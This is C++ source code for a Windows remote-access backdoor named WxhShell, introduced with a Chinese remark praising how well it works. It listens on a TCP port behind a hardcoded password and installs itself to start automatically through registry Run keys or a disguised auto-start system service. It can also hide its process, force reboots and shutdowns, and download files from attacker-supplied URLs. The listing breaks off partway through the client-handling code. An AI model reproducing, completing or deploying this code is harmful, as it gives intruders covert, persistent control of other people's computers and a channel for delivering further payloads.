realbackdoor.cpp

一个网络后门程序~~~~效果还不错

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER     100  // 最大客户端连接数
#define BUF_SOCK     200  // sock buffer
#define KEY_BUFF     255  // 输入 buffer

#define REBOOT       0    // 重启
#define SHUTDOWN     1    // 关机
 
#define DEF_PORT     5000 // 监听端口

#define REG_LEN      16   // 注册表键长度
#define SVC_LEN      80   // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG  (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL  (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
    int  ws_port;             // 监听端口
    char ws_passstr[REG_LEN]; // 口令
    int  ws_autoins;          // 安装标记, 1=yes 0=no
    char ws_regname[REG_LEN]; // 注册表键名
    char ws_svcname[REG_LEN]; // 服务名
    char ws_svcdisp[SVC_LEN]; // 服务显示名
    char ws_svcdesc[SVC_LEN]; // 服务描述信息
    char ws_passmsg[SVC_LEN]; // 密码输入提示信息
 int  ws_downexe;          // 下载执行标记, 1=yes 0=no
 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
 char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
        "xiaofeng",
        1,
        "xiaofeng",
        "xiaofeng",
                    "xiaofeng Service",
        "xiaofeng CmdShell Service",
        "Please Input Your Password: ",
     1,
     "http://www.boustead.edu.cn/index.html",
     "index.html"
       };

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS          serviceStatus;
SERVICE_STATUS_HANDLE   hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
 {wscfg.ws_svcname, NTServiceMain},
 {NULL, NULL}
};

// 自我安装
int Install(void)
{
    char svExeFile[MAX_PATH];
    HKEY key;
    strcpy(svExeFile,ExeFile);

 // 如果是win9x系统，修改注册表设为自启动
 if(!OsIsNt) {
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
   RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
   RegCloseKey(key);
   if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
    RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
    RegCloseKey(key);
    return 0;
      }
     }
 }
 else {

  // 如果是NT以上系统，安装为系统服务
  SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
  if (schSCManager!=0)
  {
   SC_HANDLE schService = CreateService
   (
    schSCManager,
    wscfg.ws_svcname,
    wscfg.ws_svcdisp,
    SERVICE_ALL_ACCESS,
    SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
    SERVICE_AUTO_START,
    SERVICE_ERROR_NORMAL,
    svExeFile,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL
   );
   if (schService!=0)
   {
    CloseServiceHandle(schService);
    CloseServiceHandle(schSCManager);
    strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
    strcat(svExeFile,wscfg.ws_svcname);
    if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
     RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
     RegCloseKey(key);
     return 0;
       }
   }
   CloseServiceHandle(schSCManager);
  }
 }

 return 1;
}

// 自我卸载
int Uninstall(void)
{
    HKEY key;

 if(!OsIsNt) {
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
   RegDeleteValue(key,wscfg.ws_regname);
   RegCloseKey(key);
   if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
    RegDeleteValue(key,wscfg.ws_regname);
    RegCloseKey(key);
    return 0;
   }
  }
 }
 else {

  SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
  if (schSCManager!=0)
  {
   SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
   if (schService!=0)
   {
    if(DeleteService(schService)!=0) {
     CloseServiceHandle(schService);
     CloseServiceHandle(schSCManager);
     return 0;
    }
    CloseServiceHandle(schService);
   }
   CloseServiceHandle(schSCManager);
  }
 }

 return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
    HRESULT hr;
 char seps[]= "/";
 char *token;
 char *file;
 char myURL[MAX_PATH];
 char myFILE[MAX_PATH];

 strcpy(myURL,sURL);
    token=strtok(myURL,seps);
   while(token!=NULL)
    {
        file=token;
     token=strtok(NULL,seps);
    }

 GetCurrentDirectory(MAX_PATH,myFILE);
 strcat(myFILE, "\\");
 strcat(myFILE, file);
    send(wsh,myFILE,strlen(myFILE),0);
 send(wsh,"...",3,0);
 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
    if(hr==S_OK)
  return 0;
 else
  return 1;

}

// 系统电源模块
int Boot(int flag)
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;

    if(OsIsNt) {
     OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
        LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
        tkp.PrivilegeCount = 1;
        tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
  if(flag==REBOOT) {
   if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
    return 0;
  }
  else {
   if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
    return 0;
  }
    }
    else {
  if(flag==REBOOT) {
   if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
    return 0;
  }
  else {
   if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
    return 0;
  }
 }

 return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

    HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
    if ( hKernel != NULL )
    {
  pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
        ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
        FreeLibrary(hKernel);
    }

 return;
}

// 获取操作系统版本
int GetOsVer(void)
{
    OSVERSIONINFO winfo;
    winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
    GetVersionEx(&winfo);
    if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
     return 1;
    else
     return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
    SOCKET wsh;
    struct sockaddr_in client;
    DWORD myID;

    while(nUser<MAX_USER)
 {
     int nSize=sizeof(client);
        wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
     if(wsh==INVALID_SOCKET) return 1;

  handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
  if(handles[nUser]==0)
   closesocket(wsh);
  else
   nUser++;
    }
    WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

    return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
 closesocket(wsh);
 nUser--;
 ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

    SOCKET wsh=(SOCKET)cs;
    char pwd[SVC_LEN];
    char cmd[KEY_BUFF];
 char chr[1];
 int i,j;

    while (nUser < MAX_USER) {

  if(wscfg.ws_passstr) {
   if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);